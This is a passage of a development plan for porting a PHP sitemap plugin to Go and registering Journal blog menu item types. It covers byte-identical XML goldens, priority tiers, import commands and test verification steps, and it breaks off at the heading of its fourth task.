- "SC-3 edges (boundary, empty, precision): the 50,000th URL is emitted and the 50,001st is not; a definition with no items answers 200 application/xml with an empty body, items that all resolve to nothing produce a self-closing urlset, and no definition answers 404; priority is written as the stored or settings string (1.0, 0.5) and never reformatted through a float."
- "D-14 rewrite (edge probe, adjacency): when settings frontend_url is set, the backend URL (app.url when set, else the request scheme from a trusted X-Forwarded-Proto or TLS plus Host, right-trimmed of slashes) is replaced literally inside every loc element, every xhtml:link href and the exact stylesheet href, as PHP str_replace does; when both URLs are equal the output is unchanged; frontend_default_locale reaches Resolve as UnprefixedLocale."
- "D-14 hooks: golem15.sitemap.beforeAddItem and addItem are typed festival events classes.BeforeAddItem (UntilHandled; a listener sets Skip to drop the URL) and classes.AddItem (Fire; listeners may append pre-escaped child XML to Extra, written before the url closing tag); the generation order follows Definition::addItemToSet (cap, url fill, lastmod, BeforeAddItem, empty URL drop, count, tier or item priority, elements, AddItem)."
- "D-12: item types are url plus registry types only (static pages and cmsPage dropped); the per-locale rule reproduces PHP: when a resolved item has no URL (a list type) each child is emitted once per alternate, otherwise each child once with its default URL; updates_manifest_path is an optional setting read as a regular JSON file (size-capped) mapping a URL path to an ISO date."
- "D-13: enable_priority_tiers and priority_homepage, _services, _blog, _categories, _legal port as settings with the PHP defaults; the tier path rules come from config golem15.sitemap.priority_tiers (a list of {setting, exact or pattern}, first match wins, path = URL path right-trimmed of slashes), compiled at boot as RE2 (a bad pattern fails boot); the plugin's default list reproduces the PHP getPriorityForUrl rules so a site configured the same way produces the same output, and a host config may replace the list."
- "D-11 and SC-1: the sitemap admin opens the one definition through the definitions singleton controller (settings link, permission golem15.sitemap.access_definitions) whose form is a repeater on data with row fields type (url plus registry types), reference (dependsOn type through signpost.ReferenceOptions), url, urlPattern, priority, changefreq and nesting; a Sitemap settings form holds frontend_url, frontend_default_locale, updates_manifest_path and the tier settings; Definition.Fillable is exactly theme and data (PHP MassAssignmentTest); stored PHP-shaped item JSON decodes tolerantly (string, number and bool coercion, unknown keys such as cmsPage, exists and fillable ignored)."
- "SC-1 commands: sitemap:import FILE with --theme and --append ports the PHP ImportCommand JSON format 1:1; sitemap:import-winter --definitions FILE --settings FILE copies a Winter export (scripts/winter-export-definitions.sql and winter-export-settings.sql) into the singleton definition and the settings row, maps type values (url kept, static and CMS page types dropped, extra old=new pairs through repeatable --map), drops an item whose reference is not among the type's current references, prints a report of every dropped or remapped item, refuses a non-empty definition without --force and supports --dry-run; both commands open and publish the database themselves when none is published."
artifacts:
- path: "../sm-journal-plugin/classes/menu_item_types.go"
provides: "the five Journal menu item types with references, resolve and alternates"
contains: "all-journal-categories"
- path: "../sm-sitemap-plugin/classes/serialize.go"
provides: "libxml-compatible sitemap writer"
contains: "xhtml:link"
- path: "../sm-sitemap-plugin/classes/urlto.go"
provides: "Winter Url::to and rawurlencode port"
contains: "rawurlencode"
- path: "../sm-sitemap-plugin/classes/testdata/full.golden"
provides: "PHP-generated golden output"
- path: "../sm-sitemap-plugin/tests/php/gen-goldens.php"
provides: "golden generator run with the local php and the vendored Winter router"
- path: "../sm-sitemap-plugin/routes.go"
provides: "/sitemap.xml and /sitemap.xsl"
contains: "/sitemap.xml"
- path: "../sm-sitemap-plugin/README.md"
provides: "plugin README with the Winter YAML adaptations"
key_links:
- from: "../sm-journal-plugin/menu_item_types.go"
to: "summercms modules/signpost Activate"
via: "pact.HasMenuItemTypes on the Journal plugin"
pattern: "MenuItemTypes\\(\\)"
- from: "../sm-journal-plugin/classes/menu_item_types.go list types"
to: "summercms modules/signpost Registry.Pattern"
via: "PatternFrom journal-category or journal-post; children built from MenuItemResolve.Pattern so the host override of the record type reaches them"
pattern: "PatternFrom"
- from: "../sm-sitemap-plugin/classes/generator.go"
to: "summercms modules/signpost Registry.Resolve"
via: "app.Lookup of *signpost.Registry at request time"
pattern: "signpost"
- from: "../sm-sitemap-plugin/controllers/definitions.go"
to: "signpost.ReferenceOptions"
via: "DependentOptions for the repeater row reference field"
pattern: "ReferenceOptions"
prohibitions:
- statement: "The sitemap output is not improved over PHP: element order, escaping, whitespace, date format, headers and the str_replace rewrite stay exactly as the PHP output and goldens show (CLAUDE.md core value)."
status: unresolved
verification: judgment
- statement: "Plugin code, READMEs and lang files never name a consuming application or site; the PHP site-specific tier paths appear only as the documented default rule list that reproduces the PHP behaviour."
status: unresolved
verification: judgment
- statement: "Neither plugin edits summercms.go in this plan (wave 2 runs beside the framework release); a framework gap found here is reported in the SUMMARY as a deviation, not patched in place."
status: unresolved
verification: judgment
- statement: "Nothing is pushed: the new sm-sitemap-plugin repository and the Journal commits stay local until plan 05's human-approved push."
status: unresolved
verification: judgment
---
## Phase Goal
ROADMAP Goal (not in user-story format): the sitemap, menu and FAQ plugins run on SummerCMS as shared `sm-*-plugin` repos, so a blog site can manage its menus, FAQs and sitemap in the admin again instead of hardcoding them in the Nuxt app.
This plan's slice (plan 3 of 6, wave 2): Journal registers its five item types (D-04) and the sitemap plugin is ported with byte parity against PHP (SC-3), its admin screens and its import commands (SC-1). Both repositories build against the local summercms.go through go.work; nothing is pushed here.
## Spec-less probe fallback
Edge items owned by this plan, all explicit truths above: SC-2 ordering (alternates order), SC-3 boundary (50k), adjacency (rewrite), empty (no items, no definition), encoding (escaping, Url::to), precision (priority strings). Backstop: `{statement: "list-type children ordered by name or title under Postgres ICU pl-PL may differ from the PHP MySQL order for non-ASCII names; parity is byte-equal on ASCII fixtures and set-equal on live data (plan 05)", verification: backstop}`. Prohibitions recalled in-prompt, descriptor-less.
## Decisions taken in this plan
- Fixed definition theme key: `default` (constant `models.DefinitionTheme`); imports write it regardless of the PHP theme name and report the original. `sitemap:import --theme` keeps the PHP flag; a value other than `default` prints that /sitemap.xml serves only the default definition.
- Tier config key `golem15.sitemap.priority_tiers` in the plugin's `config/config.yaml` (list of `{setting, exact: [...]}` or `{setting, pattern: '...'}`), defaults equal to PHP `getPriorityForUrl` (RESEARCH Code Examples). A host overrides it in `config/golem15.sitemap.yaml`.
- Events live in package `classes` (`classes.BeforeAddItem`, `classes.AddItem`) because the generator fires them and the root package imports classes.
- Backend URL for the rewrite: `app.url` when set, else request scheme (trusted `X-Forwarded-Proto` through surf trusted proxies, else TLS) plus `Host` (RESEARCH A7; plan 05 verifies on staging).
- Headers: `/sitemap.xml` `Content-Type: application/xml`; `/sitemap.xsl` `text/xsl; charset=UTF-8`; both `Cache-Control: no-cache, private` (live PHP responses).
- Winter export SQL lives in the plugin (`scripts/winter-export-definitions.sql` and `scripts/winter-export-settings.sql`, one output each) so any Winter site can use it with `sitemap:import-winter` (RESEARCH Open Question 5).
- Journal list types take the record type's DefaultPattern and set PatternFrom (17-01) instead of asking hosts to override five keys: a host overrides journal-post and journal-category, and the three list types follow.
- The sitemap tests use a fake type plugin; the real Journal plus sitemap combination is proven by the host test in plan 05, so neither plugin's go.mod requires the other.
## Artifacts this phase produces (this plan)
- `sm-journal-plugin`: `(*Plugin).MenuItemTypes`, `classes.MenuItemTypes(app func() *backpack.App) []pact.MenuItemType`, lang `menuitem.*`, README section; smoke `TestMenuItemTypesSmoke`.
- New local repository `../sm-sitemap-plugin` (branch main, module `git.golem15.com/golem15/sm-sitemap-plugin`, plugin ID `golem15.sitemap`): tables `golem15_sitemap_definitions` (id, theme nullable indexed, data text, timestamps) and `golem15_sitemap_settings` (singleton id 1); routes `/sitemap.xml`, `/sitemap.xsl`; settings entries Sitemap (link to the singleton) and Sitemap settings; permission `golem15.sitemap.access_definitions`; commands `sitemap:import`, `sitemap:import-winter`; events `classes.BeforeAddItem`, `classes.AddItem`; goldens and `tests/php/gen-goldens.php`; smoke tests `TestSitemapGolden`, `TestSitemapTracer`, `TestSitemapAdminSmoke`, `TestSitemapImportSmoke`.
<objective>
Make Journal content addressable through the typed registry and serve a PHP-identical sitemap.xml from a plugin editors manage in the admin.
Purpose: SC-2 (Journal registers, sitemap consumes) and SC-3 (sitemap parity), plus the sitemap half of SC-1.
Output: Journal types, the sm-sitemap-plugin repository with goldens, admin and commands.
</objective>
<execution_context>
@~/.claude/msd-core/workflows/execute-plan.md
@~/.claude/msd-core/templates/summary.md
</execution_context>
<context>
@.planning/phases/17-blog-companions/17-CONTEXT.md
@.planning/phases/17-blog-companions/17-RESEARCH.md
@.planning/phases/17-blog-companions/17-PATTERNS.md
@.planning/phases/17-blog-companions/17-UI-SPEC.md
@.planning/phases/17-blog-companions/17-01-SUMMARY.md
Repositories: ../sm-journal-plugin (main, builds against ../summercms.go through its go.work replace); ../sm-sitemap-plugin is created here with `git init -b main`, no remote (plan 05 adds it after a human creates the repository). Its go.work copies Journal's: `use .` plus replaces to ../summercms.go and ../sm-translate-plugin; its go.mod requires summercms at the current highest tag (nominal; plan 05 bumps it to the plan 02 tag) with the same `replace git.golem15.com/golem15/summercms => ../summercms.go` line Journal carries. Do not edit summercms.go in this plan. Commits: no co-author tags, stage by explicit path in each repository. Docker: Postgres smoke tests run through a TestMain that calls flag.Parse() and skips under testing.Short(); record NOT RUN when no daemon answers. PHP: the golden generator runs with the local `php` (8.5) and `/media/nvme/dev/golem15/grzybyfunkcjonalne.pl/vendor/autoload.php`; the goldens are committed so CI needs no PHP.
Port sources (frozen): /media/nvme/dev/golem15/fonoteka/plugins/golem15/sitemap/ (models/Definition.php, classes/DefinitionItem.php, classes/definitionitem/fields.yaml, models/settings/fields.yaml, routes.php, console/ImportCommand.php, assets/sitemap.xsl, lang/, tests/security/, README.md) and /media/nvme/dev/golem15/fonoteka/plugins/golem15/journal/ (Plugin.php :242 extendWinterPagesPlugin, models/Category.php :119-460, models/Post.php :804-1140).
</context>
<tasks>
<task type="tracer">
<name>Task 1: Tracer: Journal registers journal-post, and /sitemap.xml serves a stored definition with a url item and a registry item, byte-identical to the PHP golden</name>
<reversibility rating="costly">D-03 and D-14: the serialized item shape and the stored data JSON (PHP DefinitionItem keys) are what copied PHP rows and later admin saves share; changing them means migrating stored definitions.</reversibility>
<files>../sm-journal-plugin/menu_item_types.go, ../sm-journal-plugin/classes/menu_item_types.go, ../sm-journal-plugin/menu_item_types_smoke_test.go, ../sm-journal-plugin/lang/en/lang.yaml, ../sm-journal-plugin/lang/pl/lang.yaml, ../sm-sitemap-plugin/.gitignore, ../sm-sitemap-plugin/go.mod, ../sm-sitemap-plugin/go.sum, ../sm-sitemap-plugin/go.work, ../sm-sitemap-plugin/plugin.go, ../sm-sitemap-plugin/routes.go, ../sm-sitemap-plugin/models/registry.go, ../sm-sitemap-plugin/models/definition.go, ../sm-sitemap-plugin/models/definition_item.go, ../sm-sitemap-plugin/updates/registry.go, ../sm-sitemap-plugin/updates/202610110001_create_golem15_sitemap_definitions.go, ../sm-sitemap-plugin/classes/generator.go, ../sm-sitemap-plugin/classes/serialize.go, ../sm-sitemap-plugin/classes/urlto.go, ../sm-sitemap-plugin/classes/golden_test.go, ../sm-sitemap-plugin/classes/testdata/tracer.json, ../sm-sitemap-plugin/classes/testdata/tracer.golden, ../sm-sitemap-plugin/tests/php/gen-goldens.php, ../sm-sitemap-plugin/testmain_test.go, ../sm-sitemap-plugin/sitemap_smoke_test.go</files>
<read_first>../sm-journal-plugin/field_types.go (lazy app accessor pattern), ../sm-journal-plugin/classes/blog_editor.go (BlogEditorTypes :80), ../sm-journal-plugin/plugin.go, ../sm-journal-plugin/models/post.go and category.go, ../sm-journal-plugin/admin_harness_test.go (TestMain :53, Postgres boot), ../sm-translate-plugin/models/locale.go and classes/translatable.go (TranslatedExact :73), /media/nvme/dev/golem15/fonoteka/plugins/golem15/journal/models/Post.php (:804-1140), summercms modules/signpost/signpost.go and modules/pact/capabilities.go (plan 01 contracts), /media/nvme/dev/golem15/fonoteka/plugins/golem15/sitemap/models/Definition.php (:94-320 generateSitemap, getXmlObject, getUrlSet, addItemToSet), classes/DefinitionItem.php, routes.php, ../sm-journal-plugin/go.mod and go.work, ../sm-journal-plugin/updates/202610060003_create_golem15_journal_tags.go and updates/registry.go, ../sm-journal-plugin/routes.go, .planning/phases/17-blog-companions/17-RESEARCH.md (Patterns 3, 4, 4b, Code Examples)</read_first>
<action>Per D-01 to D-04, D-11 and D-14, one Journal type and one sitemap request end to end.
Journal (additive, D-04): menu_item_types.go adds `func (p *Plugin) MenuItemTypes() []pact.MenuItemType` returning classes.MenuItemTypes with a lazy app accessor (the field_types.go pattern) and the compile-time assertion for pact.HasMenuItemTypes. classes/menu_item_types.go implements journal-post: References lists posts ordered by title (value = id, label = title); Resolve loads the post by reference id, fills the layered pattern (DefaultPattern /blog/:slug) by ordered literal replacement of :slug, :category, :id, :year, :month, :day as PHP buildUrlFromPattern does, sets MTime from updated_at and builds the ordered alternates (PHP buildAlternateLinks: enabled locales in sort_order, the unprefixed locale without a prefix, the others with /code, translated slugs through translate TranslatedExact; x-default only when there are no enabled locales). Lang menuitem.journal_post (en "Journal post", pl "Wpis (Journal)"). TestMenuItemTypesSmoke (Postgres): Journal boots through party with translate; the signpost registry holds journal-post; Resolve with a host pattern override returns the overridden URL and pl and en alternates in sort_order.
Sitemap repository: create ../sm-sitemap-plugin (git init -b main, .gitignore like Journal's), go.mod, go.work, plugin.go (ID golem15.sitemap, Requires none, Register keeps the app, HasMigrations, HasModels, HasRoutes, HasLang added in Task 4), migration 202610110001_create_golem15_sitemap_definitions (id SERIAL, theme VARCHAR(255) NULL with an index, data TEXT NULL, created_at, updated_at; Rollback drops it), models.Definition (TableName golem15_sitemap_definitions, MorphName Golem15\Sitemap\Models\Definition, Fillable theme and data, Data as a typed item list in a lagoon.Jsonable or custom Scanner) and models.DefinitionItem with a tolerant UnmarshalJSON (type, url, reference, urlPattern, nesting, priority, changefreq; numbers, strings and bools coerced; cmsPage, exists, fillable and any other key ignored) whose MarshalJSON writes the PHP toArray key set (changefreq, priority, nesting, type, url, reference, cmsPage as null, urlPattern).
classes: urlto.go ports Url::to (RESEARCH Pattern 4b: valid-URL test ^(#|//|https?://|(mailto|tel|sms):) or a parseable absolute URL; otherwise root plus "/" plus the path trimmed of slashes; an empty path keeps the root slash; each path segment re-encoded with rawurlencode(rawurldecode(seg)), escaping everything except A-Z a-z 0-9 - _ . ~). serialize.go writes the PHP libxml format (RESEARCH Pattern 4 format facts and escape tables) with a strings.Builder, never encoding/xml. generator.go walks the definition items: a url item goes through addItem; a registry item goes through Registry.Resolve with the item's urlPattern as override and its nesting; a resolved item with a URL is added; its Items are added recursively (the per-locale rule arrives in Task 3). routes.go mounts GET /sitemap.xml at the root (not under a throttle group, not behind the backend middleware): it loads the definition with theme default (404 when absent, empty body when it has no items), builds the base URL and writes the XML with Content-Type application/xml.
Golden generator: tests/php/gen-goldens.php reads a JSON input (base URL plus items with loc, lastmod, changefreq, priority and alternates, or Url::to inputs), runs the same DOMDocument calls as Definition.php getXmlObject, getUrlSet and addItemToSet and the vendored Winter UrlGenerator for Url::to, and writes the golden file. Generate tracer.golden from tracer.json (one url item "/", one item with two alternates). TestSitemapGolden (Docker-free) feeds tracer.json through the Go serializer and compares bytes with tracer.golden. TestSitemapTracer (Postgres): boots summercms with a fake test plugin that registers type acme-post resolving to a fixed URL with two alternates, stores a definition with a url item and an acme-post item, GETs /sitemap.xml and compares the body with tracer.golden and the Content-Type header.</action>
<verify>
<automated>go -C ../sm-sitemap-plugin vet ./... &amp;&amp; go -C ../sm-sitemap-plugin test -count=1 -run '^TestSitemapGolden$' -v ./classes/ 2&gt;&amp;1 | grep -- '^--- PASS: TestSitemapGolden' &amp;&amp; go -C ../sm-journal-plugin vet ./... &amp;&amp; go -C ../sm-journal-plugin test -count=1 ./classes/ ./controllers/...</automated>
<fails_when>Non-zero exit: either repository fails vet; no "--- PASS: TestSitemapGolden" (the Go serializer differs from the PHP golden by a byte); a Journal classes or controllers test regressed.</fails_when>
<automated>docker info &gt;/dev/null 2&gt;&amp;1 &amp;&amp; go -C ../sm-sitemap-plugin test -count=1 -run '^TestSitemapTracer$' -v . 2&gt;&amp;1 | grep -- '^--- PASS: TestSitemapTracer' &amp;&amp; go -C ../sm-journal-plugin test -count=1 -run '^TestMenuItemTypesSmoke$' -v . 2&gt;&amp;1 | grep -- '^--- PASS: TestMenuItemTypesSmoke'</automated>
<fails_when>Non-zero exit: no Docker daemon (record NOT RUN in the SUMMARY), or /sitemap.xml differs from the golden or has the wrong Content-Type, or Journal's journal-post does not resolve through the registry with the override pattern and ordered alternates.</fails_when>
</verify>
<acceptance_criteria>
- `git -C ../sm-sitemap-plugin rev-parse --abbrev-ref HEAD` prints main and `git -C ../sm-sitemap-plugin remote` prints nothing.
- `grep -n "module git.golem15.com/golem15/sm-sitemap-plugin" ../sm-sitemap-plugin/go.mod` prints one line.
- `grep -n "encoding/xml" ../sm-sitemap-plugin/classes/serialize.go` prints nothing.
- `grep -n "journal-post" ../sm-journal-plugin/classes/menu_item_types.go` prints at least one line and `git -C ../sm-journal-plugin diff --stat 58851dd -- routes.go controllers/api models/category/fields.yaml updates` prints nothing (58851dd is the pre-phase Journal head).
</acceptance_criteria>
<done>A Journal post is addressable through the registry, and /sitemap.xml from a stored definition matches PHP byte for byte.</done>
</task>
<task type="auto">
<name>Task 2: The other four Journal types: category tree references, nesting, list types, category posts, alternates and lang</name>
<files>../sm-journal-plugin/classes/menu_item_types.go, ../sm-journal-plugin/menu_item_types_smoke_test.go, ../sm-journal-plugin/lang/en/lang.yaml, ../sm-journal-plugin/lang/pl/lang.yaml, ../sm-journal-plugin/README.md</files>
<read_first>../sm-journal-plugin/classes/menu_item_types.go (Task 1), /media/nvme/dev/golem15/fonoteka/plugins/golem15/journal/models/Category.php (:119-460 getMenuTypeInfo, resolveMenuItem, buildAlternateLinks, buildUrlFromPattern), /media/nvme/dev/golem15/fonoteka/plugins/golem15/journal/models/Post.php (:804-1140), /media/nvme/dev/golem15/fonoteka/plugins/golem15/journal/Plugin.php (:242-260), ../sm-journal-plugin/controllers/api/posts.go (serializeCategoryTree, published filter), ../sm-journal-plugin/models/category.go (nest_left, nest_right, parent_id), ../sm-journal-plugin/README.md (Features, API reference, Testing), .planning/phases/17-blog-companions/17-UI-SPEC.md (Plugin admin copy: journal registry type labels)</read_first>
<action>Per D-04, D-02 and D-03, complete the five PHP types (RESEARCH Pattern 3).
Patterns (D-02, every type valid at signpost boot): each list type declares the DefaultPattern of the type it lists and sets PatternFrom to that type's key, and builds every child URL from in.Pattern (the pattern signpost already layered), never from a hard-coded default and never by looking up the registry itself; PHP likewise built list children from the item's urlPattern.
journal-category: References is the category tree (parent_id, ordered by nest_left then name; value id, label name, children in Items); DefaultPattern /blog/category/:slug with :slug and :id; Resolve returns the category's URL (the first alternate's URL, or the pattern with the default slug), MTime updated_at, alternates as in Task 1; with Nesting its Items are the subtree, each child with its default URL only (no per-locale entries), built from the same in.Pattern. all-journal-categories: DefaultPattern /blog/category/:slug, PatternFrom journal-category, no References (nil); Resolve returns an empty URL and Items = every category ordered by name, each with URL, MTime and alternates from in.Pattern. journal-post: unchanged from Task 1. all-journal-posts: DefaultPattern /blog/:slug, PatternFrom journal-post, no References; Items = published posts (the API's published rule) ordered by title, each with URL, MTime and alternates from in.Pattern. category-journal-posts: DefaultPattern /blog/:slug, PatternFrom journal-post; References is the category tree; Items = published posts in the category or any descendant (nest_left and nest_right range), ordered by title, URLs from in.Pattern. Post patterns fill :category from the post's first category slug translated per locale, and :year, :month, :day only for a published post with published_at. Ordering ties break by id.
Lang menuitem.journal_category, all_journal_categories, journal_post, all_journal_posts, category_journal_posts in en and pl with the UI-SPEC labels. README: a "Menu item types" section (the five keys, default patterns, PatternFrom of the three list types, placeholders, alternates rule, how a host overrides patterns through menu_items.patterns: override journal-post and journal-category and the list types follow, or override a list key to give its children a different pattern) and an API reference row for MenuItemTypes; state that category content stays on blogeditor. TestMenuItemTypesSmoke grows: all five keys registered, each with a DefaultPattern starting with a slash and the three list types with PatternFrom set as above; with a test host config menu_items.patterns that overrides only journal-category to /:slug and journal-post to /p/:slug, all-journal-categories children resolve to /<slug>, all-journal-posts and category-journal-posts children to /p/<slug>, and an all-journal-posts resolve with the item override /x/:slug returns children at /x/<slug>; journal-category with nesting returns its child with the default URL only; all-journal-categories returns name-ordered items with no top URL; category-journal-posts includes a post of a child category and excludes an unpublished one; with no enabled locales the single alternate is x-default.</action>
<verify>
<automated>go -C ../sm-journal-plugin vet ./... &amp;&amp; go -C ../sm-journal-plugin test -count=1 ./classes/ ./controllers/... &amp;&amp; grep -c "category_journal_posts" ../sm-journal-plugin/lang/en/lang.yaml ../sm-journal-plugin/lang/pl/lang.yaml | grep -c ':1$' | grep -qx 2</automated>
<fails_when>Non-zero exit: vet fails, a Journal classes or controllers test regressed, or a menuitem label is missing in one locale.</fails_when>
<automated>docker info &gt;/dev/null 2&gt;&amp;1 &amp;&amp; go -C ../sm-journal-plugin test -count=1 -run '^TestMenuItemTypesSmoke$' -v . 2&gt;&amp;1 | grep -- '^--- PASS: TestMenuItemTypesSmoke'</automated>
<fails_when>Non-zero exit: no Docker daemon (record NOT RUN), or a type is missing or lacks a valid DefaultPattern, a list type's children ignore the host override of their record type or the item override, nesting returned per-locale children, list ordering or the published filter differs from PHP, or the x-default rule is wrong.</fails_when>
</verify>
<acceptance_criteria>
- `grep -o '"\(journal-category\|all-journal-categories\|journal-post\|all-journal-posts\|category-journal-posts\)"' ../sm-journal-plugin/classes/menu_item_types.go | sort -u | wc -l` prints 5.
- `grep -n "Menu item types" ../sm-journal-plugin/README.md` prints one line and `grep -n "type: blogeditor" ../sm-journal-plugin/models/category/fields.yaml` still prints one line.
- `grep -c "PatternFrom" ../sm-journal-plugin/classes/menu_item_types.go` is at least 3 and `grep -c "DefaultPattern" ../sm-journal-plugin/classes/menu_item_types.go` is at least 5.
</acceptance_criteria>
<done>Menus and the sitemap can address every Journal content shape PHP offered, with per-locale URLs.</done>
</task>
<task type="auto">
<name>Task 3: Full sitemap generation: per-locale list rule, lastmod and manifest, priority tiers, typed hooks, 50k cap, frontend rewrite, XSL, settings model, and the two import commands</name>
<files>../sm-sitemap-plugin/plugin.go, ../sm-sitemap-plugin/routes.go, ../sm-sitemap-plugin/assets/sitemap.xsl, ../sm-sitemap-plugin/config/config.yaml, ../sm-sitemap-plugin/models/registry.go, ../sm-sitemap-plugin/models/settings.go, ../sm-sitemap-plugin/updates/registry.go, ../sm-sitemap-plugin/updates/202610110002_create_golem15_sitemap_settings.go, ../sm-sitemap-plugin/classes/generator.go, ../sm-sitemap-plugin/classes/tiers.go, ../sm-sitemap-plugin/classes/manifest.go, ../sm-sitemap-plugin/classes/rewrite.go, ../sm-sitemap-plugin/classes/events.go, ../sm-sitemap-plugin/classes/golden_test.go, ../sm-sitemap-plugin/classes/testdata/urlto.json, ../sm-sitemap-plugin/classes/testdata/urlto.golden, ../sm-sitemap-plugin/classes/testdata/full.json, ../sm-sitemap-plugin/classes/testdata/full.golden, ../sm-sitemap-plugin/tests/php/gen-goldens.php, ../sm-sitemap-plugin/console/helpers.go, ../sm-sitemap-plugin/console/import.go, ../sm-sitemap-plugin/console/import_winter.go, ../sm-sitemap-plugin/scripts/winter-export-definitions.sql, ../sm-sitemap-plugin/scripts/winter-export-settings.sql, ../sm-sitemap-plugin/sitemap_smoke_test.go</files>
<read_first>/media/nvme/dev/golem15/fonoteka/plugins/golem15/sitemap/models/Definition.php (whole file: MAX_URLS, addItemToSet :204-310, lookupManifestLastmod :318, getUpdatesManifest :342, normalizeManifestPath :372, getPriorityForUrl :393), routes.php, console/ImportCommand.php, assets/sitemap.xsl, models/settings/fields.yaml, models/Settings.php, summercms modules/festival/bus.go (Handleable :18, UntilHandled :100), summercms modules/surf/clientip.go (TrustedProxies), ../sm-journal-plugin/models/settings.go and updates/202610060006_create_golem15_journal_settings.go (singleton settings table), ../sm-journal-plugin/console/import_posts.go (:39-64 command shape), ../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/helpers.go (lookupDB :50-69), ../sm-grzybyfunkcjonalne-app/scripts/php-export/categories.sql (header and JSON_OBJECT style), .planning/phases/17-blog-companions/17-RESEARCH.md (Pattern 4 generation order, Pitfalls 1, 2, 6, 7, 8, 11, Code Examples default tier config)</read_first>
<action>Per D-12, D-13 and D-14 and SC-3.
Settings: migration 202610110002_create_golem15_sitemap_settings (id 1 singleton like Journal's: frontend_url, frontend_default_locale, updates_manifest_path as nullable text; enable_priority_tiers boolean default true; priority_homepage '1.0', priority_services '0.8', priority_blog '0.6', priority_categories '0.4', priority_legal '0.2' as strings) and models.Settings with Fillable and Rules mirroring PHP (no validation beyond PHP).
Generator (Definition::addItemToSet order): stop at 50,000 URLs; fill a missing URL through Url::to; lastmod = the resolved MTime, else the manifest date for the URL path, else omitted; fire BeforeAddItem through app.Events.UntilHandled (handled means skip); drop an empty URL and pass it through Url::to again; count it; priority = the first matching tier's settings value when enable_priority_tiers is on, else the item priority string; emit loc, lastmod, changefreq, priority and the alternates (only when more than one, each href through Url::to); write AddItem.Extra before the url closing tag after app.Events.Fire. Per-locale rule (D-12, Pitfall 3): when a resolved registry item has an empty URL, each child is emitted once per alternate (loc = that alternate's URL, the full alternate list as hreflang); otherwise each child is emitted once with its default URL. Resolve receives the settings frontend_default_locale as UnprefixedLocale. events.go defines BeforeAddItem {Item, Info, Skip} with IsHandled and AddItem {Item, Info, Extra []string} with doc comments naming the PHP events.
plugin.go adds pact.HasConfig (embedded config/config.yaml), pact.HasCommands and a Boot that compiles the tier rules. tiers.go: read golem15.sitemap.priority_tiers with LoadSection at Boot into compiled rules (setting name must be one of the five priority settings, exactly one of exact or pattern, RE2 compile errors fail boot); config/config.yaml ships the PHP getPriorityForUrl rules as the default list (homepage exact "" and "/en"; services, blog, categories patterns; legal exact list) with a comment that a host replaces the list. manifest.go: read updates_manifest_path only when it is a regular file of at most 5 MiB holding a JSON object, normalize keys like PHP normalizeManifestPath, cache per request, and on any error omit lastmod (fail safe, never echo file content). rewrite.go: the three literal replacements of routes.php after serialization (inside every loc, every xhtml:link href, and the exact stylesheet href), with the backend URL from app.url or the trusted request base, right-trimmed of slashes. routes.go adds GET /sitemap.xsl serving the embedded assets/sitemap.xsl copied byte-identical from the PHP plugin, and the headers from this plan's decisions.
Goldens: extend gen-goldens.php and commit urlto.json and urlto.golden (the RESEARCH Pattern 4b table plus non-ASCII, colon, query and fragment cases) and full.json and full.golden (ampersands, quotes, angle brackets, carriage returns, tabs and newlines in loc, alternates and priorities; an empty urlset case; an hreflang list type expanded per alternate; tier priorities over the default rules; a rewritten frontend URL). TestSitemapGolden runs every case.
Commands (console/helpers.go copies lookupDB): sitemap:import FILE [--theme] [--append] ports ImportCommand (JSON format, non-append keeps non-url items first then the imported URLs) into the singleton definition. sitemap:import-winter --definitions FILE --settings FILE [--map old=new ...] [--force] [--dry-run]: definitions JSONL rows {id, theme, data, created_at, updated_at} and the settings JSON object from system_settings; the type map keeps url, drops the static and CMS page types and cmsPage keys, applies --map pairs; an item whose registry type takes references is dropped when its reference is not among signpost.ReferenceOptions for that type; every dropped or remapped item is printed; a non-empty definition is refused without --force; the settings row is upserted (id 1). scripts/winter-export-definitions.sql (one JSON_OBJECT line per golem15_sitemap_definitions row) and scripts/winter-export-settings.sql (the system_settings value of item golem15_sitemap_settings), both read-only SELECTs with the categories.sql style header (how to run with mysql -N -B --raw, what to check first).
Smoke (Postgres) in sitemap_smoke_test.go: TestSitemapImportSmoke imports a fixture export (one url item, one page item, one mapped list type) and reports the dropped page item; /sitemap.xml with frontend_url set rewrites loc and the stylesheet href; /sitemap.xsl answers the PHP bytes with text/xsl; a BeforeAddItem listener that sets Skip drops its URL.</action>
<verify>
<automated>go -C ../sm-sitemap-plugin vet ./... &amp;&amp; go -C ../sm-sitemap-plugin test -count=1 -short ./... &amp;&amp; go -C ../sm-sitemap-plugin test -count=1 -run '^TestSitemapGolden$' -v ./classes/ 2&gt;&amp;1 | grep -- '^--- PASS: TestSitemapGolden' &amp;&amp; cmp ../sm-sitemap-plugin/assets/sitemap.xsl /media/nvme/dev/golem15/fonoteka/plugins/golem15/sitemap/assets/sitemap.xsl</automated>
<fails_when>Non-zero exit: vet fails; a Docker-free test fails; a golden case differs by a byte (escaping, Url::to, tiers, per-locale expansion, rewrite or empty urlset); the embedded XSL differs from the PHP file.</fails_when>
<automated>docker info &gt;/dev/null 2&gt;&amp;1 &amp;&amp; go -C ../sm-sitemap-plugin test -count=1 -run '^(TestSitemapTracer|TestSitemapImportSmoke)$' -v . 2&gt;&amp;1 | grep -c '^--- PASS: Test' | grep -qx 2</automated>
<fails_when>Non-zero exit: no Docker daemon (record NOT RUN), or fewer than two passes: the import kept an unmapped type, the rewrite missed loc or the stylesheet href, the XSL headers differ, or a skipped BeforeAddItem URL was still written.</fails_when>
</verify>
<acceptance_criteria>
- `grep -n "50000\|50_000" ../sm-sitemap-plugin/classes/generator.go` prints at least one line.
- `grep -n "priority_tiers" ../sm-sitemap-plugin/config/config.yaml` prints one line.
- `grep -n "type BeforeAddItem struct\|type AddItem struct" ../sm-sitemap-plugin/classes/events.go` prints two lines.
- The export SQL is SELECT-only: `cat ../sm-sitemap-plugin/scripts/winter-export-definitions.sql ../sm-sitemap-plugin/scripts/winter-export-settings.sql | grep -v '^[[:space:]]*--' | grep -ciE '\b(insert|update|delete|drop|alter|truncate|replace)\b'` prints 0.
- `grep -n "HasConfig\|HasCommands" ../sm-sitemap-plugin/plugin.go` prints at least two lines.
</acceptance_criteria>
<done>The sitemap reproduces every PHP output rule, is extensible through typed hooks, and a Winter site's definition and settings can be copied in.</done>
</task>
<task type="auto">
<name>Task 4: Sitemap admin: the singleton definition form with a repeater and the registry-bound reference, the settings form, permissions, lang and the README</name>
